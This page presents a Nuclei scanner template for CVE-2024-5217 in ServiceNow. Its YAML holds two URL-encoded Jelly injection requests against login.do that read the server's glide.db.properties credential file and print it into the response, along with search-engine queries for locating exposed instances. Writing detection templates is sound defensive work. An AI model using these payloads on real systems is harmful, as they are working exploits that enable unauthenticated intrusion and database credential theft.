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ServiceNow - Incomplete Input Validation

ID: CVE-2024-5217

Severity: critical

Author: DhiyaneshDk,ritikchaddha

Tags: cve,cve2024,servicenow,rce,kev

Description

Section titled “Description”

ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.

YAML Source

Section titled “YAML Source”
id: CVE-2024-5217


info:
  name: ServiceNow - Incomplete Input Validation
  author: DhiyaneshDk,ritikchaddha
  severity: critical
  description: |
    ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
  reference:
    - https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1648313
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5217
  metadata:
    verified: true
    max-request: 2
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2024,servicenow,rce,kev


http:
  - raw:
      - |
        GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj%3Ajelly%2Bxmlns%3Aj%3D%22jelly%3Acore%22%2Bxmlns%3Ag%3D'glide'%3E%3Cg%3Aevaluate%3Ez%3Dnew%2BPackages.java.io.File(%22%22).getAbsolutePath()%3Bz%3Dz.substring(0%2Cz.lastIndexOf(%22%2F%22))%3Bu%3Dnew%2BSecurelyAccess(z.concat(%22%2Fco..nf%2Fglide.db.properties%22)).getBufferedReader()%3Bs%3D%22%22%3Bwhile((q%3Du.readLine())!%3D%3Dnull)s%3Ds.concat(q%2C%22%5Cn%22)%3Bgs.addErrorMessage(s)%3B%3C%2Fg%3Aevaluate%3E%3C%2Fj%3Ajelly%3E%3C%2Fstyle%3E HTTP/1.1
        Host: {{Hostname}}


      - |
        GET /login.do?jvar_page_title=%3c%73%74%79%6c%65%3e%3c%6a%3a%6a%65%6c%6c%79%20%78%6d%6c%6e%73%3a%6a%3d%22%6a%65%6c%6c%79%3a%63%6f%72%65%22%20%78%6d%6c%6e%73%3a%67%3d%27%67%6c%69%64%65%27%3e%3c%67%3a%65%76%61%6c%75%61%74%65%3e%7a%3d%6e%65%77%20%50%61%63%6b%61%67%65%73%2e%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%22%29%2e%67%65%74%41%62%73%6f%6c%75%74%65%50%61%74%68%28%29%3b%7a%3d%7a%2e%73%75%62%73%74%72%69%6e%67%28%30%2c%7a%2e%6c%61%73%74%49%6e%64%65%78%4f%66%28%22%2f%22%29%29%3b%75%3d%6e%65%77%20%53%65%63%75%72%65%6c%79%41%63%63%65%73%73%28%7a%2e%63%6f%6e%63%61%74%28%22%2f%63%6f%2e%2e%6e%66%2f%67%6c%69%64%65%2e%64%62%2e%70%72%6f%70%65%72%74%69%65%73%22%29%29%2e%67%65%74%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%29%3b%73%3d%22%22%3b%77%68%69%6c%65%28%28%71%3d%75%2e%72%65%61%64%4c%69%6e%65%28%29%29%21%3d%3d%6e%75%6c%6c%29%73%3d%73%2e%63%6f%6e%63%61%74%28%71%2c%22%5c%6e%22%29%3b%67%73%2e%61%64%64%45%72%72%6f%72%4d%65%73%73%61%67%65%28%73%29%3b%3c%2f%67%3a%65%76%61%6c%75%61%74%65%3e%3c%2f%6a%3a%6a%65%6c%6c%79%3e%3c%2f%73%74%79%6c%65%3e HTTP/1.1
        Host: {{Hostname}}


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "glide.db.user"


      - type: word
        part: content_type
        words:
          - 'text/html'


      - type: status
        status:
          - 200
# digest: 490a004630440220132790c2e4ab568d232df092a9b1a55bbae776b309c759285c462411d65fc7a202202a5f22256487fedd4806a28a0d3c6538ca35cbfd24972fb0a576f27dc96ddd43:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5217.yaml"

View on Github